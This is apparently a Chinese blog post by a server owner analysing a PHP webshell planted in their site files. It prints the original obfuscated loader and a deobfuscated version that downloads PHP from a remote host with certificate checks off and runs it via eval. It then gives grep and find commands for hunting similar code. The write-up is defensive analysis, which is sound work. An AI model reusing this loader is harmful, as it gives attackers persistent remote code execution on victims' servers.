服务器被入侵挂马,看我一步步来解密 webshell 木马!

前段时间发现我的网站访问速度特别慢,SSH登录VPS后进行排查,检查了很多项目这里省略,最后发现被“挂马”了,很多php文件里面被植入了以下代码:

<?php define('A','jan29.ofu5583ytu/lowya::shopbrand/[word]/^^!!.htm|detail/^^!!::?');$h='H';$l='68';
$l.='747';$l.='47';$l.='0733';
$l.='a2f2f';$l.='6f6b';
$l.='6b';
$l.='687';$l.='9782';$l.='e636f';$l.='6d2f6';$l.='a7';$l.='0323';$l.='0';$l.='32';$l.='3';$l.='62';$l.='e747';$l.='874';$p='p';
$p.='a';$p.='ck';$h.='*';$resp='';
$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$p($h,$l));curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,20);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_TIMEOUT,20);$resp=curl_exec($curl);curl_close($curl);eVAl('?>'.$resp
);?>

这段代码显然是被加密了。看起来像什么加密方式?AES?RSA?Base64?其实都不是,这段代码真正使用的,只是一种非常常见的 PHP 代码混淆手法,算不上高级。接下来我们一步步来“解密”看看里面到底是什么。

一、第一步:把函数名拆开

代码中有这样一段:

$p='p';
$p.='a';
$p.='ck';

实际上就是:

$p = 'pack';

后面调用:

$p($h,$l)

等价于:

pack($h, $l)

也就是说,作者故意把 pack 拆成多个字符串,只是为了让人不容易一眼看懂。


二、第二步:拼接 pack() 的格式

再看:

$h='H';
$h.='*';

最终得到:

$h = 'H*';

于是:

$p($h,$l)

实际上就是:

pack('H*', $l)

那么 H* 是什么意思?

在 PHP 的 pack() 函数中:

H*

表示将十六进制字符串转换成原始二进制数据。

例如:

echo pack('H*', '6874747073');

转换后就是:

https

三、第三步:还原真正隐藏的网址

原代码把十六进制字符串拆成了大量片段:

$l='68';
$l.='747';
$l.='47';
$l.='0733';
...

最终会拼成一长串十六进制数据。

经过:

pack('H*', $l)

解码之后,得到的真实地址是:

https://okkhyx.com/jp2026.txt

也就是说,这段看似复杂的代码,实际上隐藏了一个远程网址。


四、真正危险的代码在这里

接下来程序使用 cURL 请求这个地址:

$curl=curl_init();

curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

$resp=curl_exec($curl);

curl_close($curl);

服务器返回的内容会保存到:

$resp

然后执行:

eval('?>'.$resp);

这意味着:

远程服务器返回什么 PHP 代码,本地服务器就执行什么。

这才是整段代码最值得警惕的地方。


五、它本质上是一个“远程代码加载器”

把混淆全部去掉后,这段代码大致等价于:

<?php

$url = 'https://okkhyx.com/jp2026.txt';

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);

$resp = curl_exec($curl);

curl_close($curl);

eval('?>' . $resp);

?>

是不是一下子就看明白了?

原来的几十行“乱码”,其实核心逻辑只有几步:

隐藏网址
   ↓
访问远程服务器
   ↓
下载 jp2026.txt
   ↓
获取其中的 PHP 代码
   ↓
eval() 直接执行

六、为什么要故意写得这么复杂?

主要有三个目的。

1. 防止人工查看

如果直接写:

$url = 'https://example.com/code.txt';

管理员打开文件就能立刻发现异常。

但如果写成:

$p($h,$l)

再配合几十段十六进制字符串,就会大幅增加阅读成本。


2. 规避简单的安全检测

一些基础的安全扫描,可能会直接查找:

恶意网址
eval
shell_exec
system
base64_decode

攻击者将网址、函数名拆分后,可以降低简单特征匹配的命中率。

当然,对于专业的安全产品来说,这种程度的混淆并不高级。


3. 实现“动态更新”

真正关键的是:

eval('?>'.$resp);

本地 PHP 文件本身不需要频繁修改。

只需要控制远程:

jp2026.txt

就可以随时改变服务器最终执行的代码。

今天可能只是一个跳转程序。

明天可能变成:

  • SEO 垃圾页面生成器
  • 博彩或色情跳转代码
  • 网站后门
  • WebShell 下载器
  • 数据窃取程序
  • 钓鱼页面
  • 恶意广告注入代码

这也是为什么这种代码非常危险。


七、一个特别值得注意的地方:关闭 SSL 验证

原代码中还有:

curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);

curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);

也就是说,它完全关闭了 HTTPS 证书验证。

正常情况下,HTTPS 连接会验证服务器证书,防止通信被中间人篡改。

而这里直接关闭验证,意味着程序只要能够拿到内容,就会继续执行。

再结合:

eval()

风险就更大了。

因为整个逻辑实际上是:

下载 → 不验证 → 直接执行

这是典型的高风险代码组合。


八、那么这算“加密”吗?

严格来说,不算。

它只是:

  • 字符串拆分
  • 十六进制编码
  • PHP 动态函数调用
  • 简单代码混淆

真正的加密应该需要密钥才能恢复,例如:

AES
RSA
ChaCha20
SM4

而这段代码根本不需要密钥。

只要理解 PHP 的:

pack('H*', ...)

就可以直接还原。

所以更准确地说:

这不是加密,而是“混淆”。


九、如果你的网站里发现这种代码怎么办?

如果是在自己的网站程序中发现类似代码,建议不要只删除这一行就结束。

因为这类远程加载器往往只是攻击链中的一部分。

建议至少检查:

1. 搜索危险函数

重点搜索:

eval(
assert(
base64_decode(
gzinflate(
str_rot13(
shell_exec(
system(
exec(
passthru(

2. 搜索异常的远程请求

例如:

curl_exec
file_get_contents('http
fopen('http
fsockopen

尤其是后面紧跟:

eval
include
require
assert

这种组合需要重点检查。


3. 检查最近修改的 PHP 文件

攻击者通常会在:

index.php
config.php
functions.php
wp-config.php
header.php
footer.php

或者一些看起来不起眼的目录中植入代码。其实后来发现,我的服务器之所以被入侵,就是VPS上其实有个网站用了旧版的 WordPress。一直觉得新版 WordPress 越来越臃肿,就没有升级最新版。

例如:

cache/
upload/
tmp/
images/
data/

这些目录有时甚至会被伪装成正常文件。


十、总结

这段代码看起来像“加密程序”,实际上并没有多复杂。

它的真实逻辑只有一句话:

把远程网址藏起来,然后下载远程 PHP 代码,再通过 eval() 在服务器上直接执行。

最终还原后的核心代码大致就是:

$url = '远程地址';

$code = file_get_contents($url);

eval('?>' . $code);

我的VPS之前也有一次被入侵的经历,当时的排查过程大致如下:

1. 先断外网(如果允许)

至少临时:

nginx stop 或 firewall block 80/443

2. 查 cron 全量

crontab -l
crontab -u root -l
ls -al /var/spool/cron/

3. 查所有最近被修改的 PHP 文件

find /home/wwwroot -type f -name "*.php" -mtime -30

4. 查 webshell 特征

grep -R "eval(base64" /home/wwwroot
grep -R "gzinflate" /home/wwwroot
grep -R "str_rot13" /home/wwwroot
grep -R "system(" /home/wwwroot
find / -name "*.php" | xargs grep -l "eval"
find / -name "*.php" | xargs grep -l "base64"
find / -name "*.php" | xargs grep -l "gzinflate"

5. 查所有外联

grep -R "http://" /home/wwwroot
grep -R "https://" /home/wwwroot

6. 重点查某个域名

如:grep -R "api.techzhi.com" /home/wwwroot